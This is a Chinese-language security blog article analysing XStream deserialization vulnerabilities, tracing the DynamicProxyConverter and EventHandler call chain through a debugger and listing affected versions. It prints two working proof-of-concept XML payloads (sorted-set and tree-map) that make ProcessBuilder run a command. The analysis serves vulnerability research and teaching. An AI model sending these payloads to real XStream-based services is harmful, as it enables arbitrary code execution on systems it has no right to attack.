XStream反序列化

admin 2024年10月29日00:00:45评论10 views字数 5108阅读17分1秒阅读模式

XStream反序列化

XStream简介

XStream是一个简单的基于Java库,Java对象序列化到XML,反之亦然(即:可以轻易的将Java对象和xml文档相互转换)。

反序列化基本原理

XStream实现了一套序列化和反序列化机制,核心是通过Converter转换器来将XML和对象之间进行相互的转换,XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象,而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时,就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法;利用这个机制,攻击者可以构造恶意的XML内容,即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。

当然在这之前简单介绍几个重要的小知识

EventHandler类

EventHandler类是实现了InvocationHandler的一个类,设计本意是为交互工具提供beans,建立从用户界面到应用程序逻辑的连接

EventHandler类定义的代码如下,其含有target和action属性,在EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke()的函数调用链中,会将前面两个属性作为类方法和参数继续反射调用

1234567891011121314151617181920
public static Object invoke(Method var0, Object var1, Object[] var2) throws InvocationTargetException, IllegalAccessException {        try {            return bounce.invoke((Object)null, var0, var1, var2);        } catch (InvocationTargetException var5) {            Throwable var4 = var5.getCause();            if (var4 instanceof InvocationTargetException) {                throw (InvocationTargetException)var4;            } else if (var4 instanceof IllegalAccessException) {                throw (IllegalAccessException)var4;            } else if (var4 instanceof RuntimeException) {                throw (RuntimeException)var4;            } else if (var4 instanceof Error) {                throw (Error)var4;            } else {                throw new Error("Unexpected invocation error", var4);            }        } catch (IllegalAccessException var6) {            throw new Error("Unexpected invocation error", var6);        }    }

Converter转换器

XStream为Java常见的类型提供了Converter转换器。转换器注册中心是XStream组成的核心部分。

转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为XML或将XML转换为对象。

简单地说,就是输入XML后它能识别其中的标签字段并转换为相应的对象,反之亦然。

转换器需要实现3个方法:

  • canConvert方法:告诉XStream对象,它能够转换的对象;
  • marshal方法:能够将对象转换为XML时候的具体操作;
  • unmarshal方法:能够将XML转换为对象时的具体操作;

具体参考:http://x-stream.github.io/converters.html

POC分析

当然基本的demo还是要给一个

1234567
public class Test {    public static void main(String[] args) throws Exception{        FileInputStream fileInputStream = new FileInputStream("payload.txt");        XStream xStream = new XStream(new DomDriver());        xStream.fromXML(fileInputStream);    }}

1.sorted-set

影响版本

1.4.5,1.4.6,1.4.10

分析

经典调用计算器

123456789101112131415
<sorted-set>    <dynamic-proxy>        <interface>java.lang.Comparable</interface>        <handler class="java.beans.EventHandler">            <target class="java.lang.ProcessBuilder">                <command>                    <string>open</string>                    <string>-na</string>                    <string>Calculator</string>                </command>            </target>            <action>start</action>        </handler>    </dynamic-proxy></sorted-set>

现在我们来对流程进行追踪,在AbstractTreeMarshallingStrategy.unmarshal()函数中,调用了TreeUnmarshaller.start()函数,即开始解析XML

我们直接从com.thoughtworks.xstream.core.TreeUnmarshaller#start开始

发现会调用HierarchicalStreams.readClassType()来获取到PoC XML中根标签的类类型

XStream反序列化

最终在com.thoughtworks.xstream.mapper.ClassAliasingMapper#realClass找到了java.util.SortedSet

XStream反序列化

接着是调用convertAnother()函数对java.util.SortedSet类型进行转换,我们跟进去该函数,其中调用mapper.defaultImplementationOf()函数来寻找java.util.SortedSet类型的默认实现类型进行替换,这里转换为了java.util.TreeSet类型XStream反序列化

XStream反序列化

接着看到调用converterLookup.lookupConverterForType()来寻找TreeSet对应类型的转换器,可以看到这里的逻辑是,迭代this.converters,直到找到能转换出TreeSet类型

XStream反序列化

往下调试,在AbstractReferenceUnmarshaller.convert()函数中看到,会调用getCurrentReferenceKey()来获取当前的Reference键即标签名,接着将当前标签名压入parentStack栈中

XStream反序列化

之后调用其父类即的FastStack.convert()方法,跟进去,显示将类型压入栈,然后调用转换器TreeSetConverter的unmarshal()方法XStream反序列化

往下调试,his.treeMapConverter.populateTreeMap()看英文名就能知道是填充TreeMap,跟进这里先判断是否是第一个元素,是的话就调用putCurrentEntryIntoMap()函数,即将当前内容填充到Map中

XStream反序列化

跟进去,发现调用readItem()函数读取标签内的内容并缓存到target这个Map中

XStream反序列化

跟入,一直到com.thoughtworks.xstream.mapper.CachingMapper#realClass,现在他就会去寻找这个dynamic-proxy所对应的类

XStream反序列化

最后找到这个类

XStream反序列化

接下来回到com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother(java.lang.Object, java.lang.Class, com.thoughtworks.xstream.converters.Converter),找到这个动态代理类的转换器

XStream反序列化

接下来还是调用getCurrentReferenceKey()来获取当前的Reference键即标签名,接着将当前标签名压入parentStack栈中XStream反序列化

之后一直到这里最重要的部分com.thoughtworks.xstream.converters.extended.DynamicProxyConverter#unmarshal,这里按标签内容生成对应接口的动态代理,此时这个DUMMY是一个空的代理实现

XStream反序列化

继续往下执行handler = (InvocationHandler)context.convertAnother(proxy, handlerType);,接下来转换器转换最终得到EventHandler

XStream反序列化

接下来替换代理

XStream反序列化

之后再回到之前的com.thoughtworks.xstream.converters.collections.TreeMapConverter#populateTreeMap,这里会把结果把存到result

XStream反序列化

最终XStream反序列化

调用到java.beans.EventHandler#invokeInternal,之后用反射调用ProcessBuilder的start方法触发命令执行

XStream反序列化

其他说明

在小于等于1.3.1版本,运行报错显示TreeMap没有包含comparator元素,即不支持PoC中两个子标签元素调用compareTo()进行比较,因此无法利用

在1.4-1.4.5版本无法触发的原因

在TreeSetConverter.unmarshal()中,只有当sortedMapField和treeMap不为null时,才能进入populateTreeMap()

XStream反序列化

而在1.4-1.4.4版本中,sortedMapField默认为null,因此无法成功利用,这里以1.4.4版本为例

XStream反序列化

在1.4.7-1.4.9版本中,ReflectionConverter.canConvert()函数中添加了对EventHandler类的过滤

2.tree-map

适用范围

版本<=1.4.6或=1.4.10

分析

和sorted-map差不多,直接给payload

123456789101112131415161718
<tree-map>    <entry>        <dynamic-proxy>            <interface>java.lang.Comparable</interface>            <handler class="java.beans.EventHandler">                <target class="java.lang.ProcessBuilder">                    <command>                        <string>open</string>                        <string>-na</string>                        <string>Calculator</string>                    </command>                </target>                <action>start</action>            </handler>        </dynamic-proxy>        <string>good</string>    </entry></tree-map>

其他说明

唯一与sorted-set有点区别的地方就是,在com.thoughtworks.xstream.converters.collections.TreeMapConverter#unmarshal,可以看到没有TreeSetConverter那么多的限制

XStream反序列化

在<=1.3.1版本的当中

会报错显示TreeMap没有包含comparator元素,即不支持PoC中两个子标签元素调用compareTo()进行比较,因此无法利用

在1.4.7-1.4.9版本,ReflectionConverter.canConvert()函数中添加了对EventHandler类的过滤

参考文章

https://paper.seebug.org/1543/

- source:y4tacker

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月29日00:00:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XStream反序列化https://cn-sec.com/archives/3315025.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息